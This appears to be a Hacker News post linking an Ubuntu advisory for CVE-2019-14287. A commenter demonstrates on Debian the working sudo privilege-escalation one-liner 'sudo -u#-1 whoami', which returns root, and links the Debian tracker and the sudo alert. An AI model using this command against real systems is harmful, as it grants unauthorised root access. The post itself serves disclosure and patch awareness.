
Sudo Privilege Escalation Vulnerability - dbrgn
https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-14287.html
======
dbrgn
This is pretty afwul. Works perfectly on my Debian machine (where sudo for
this user requires the password):

    
    
        $ sudo -u#-1 whoami
        root
    

Ubuntu has fixes, Debian still seems vulnerable: [https://security-
tracker.debian.org/tracker/CVE-2019-14287](https://security-
tracker.debian.org/tracker/CVE-2019-14287)

Here are the technical details:
[https://www.sudo.ws/alerts/minus_1_uid.html](https://www.sudo.ws/alerts/minus_1_uid.html)

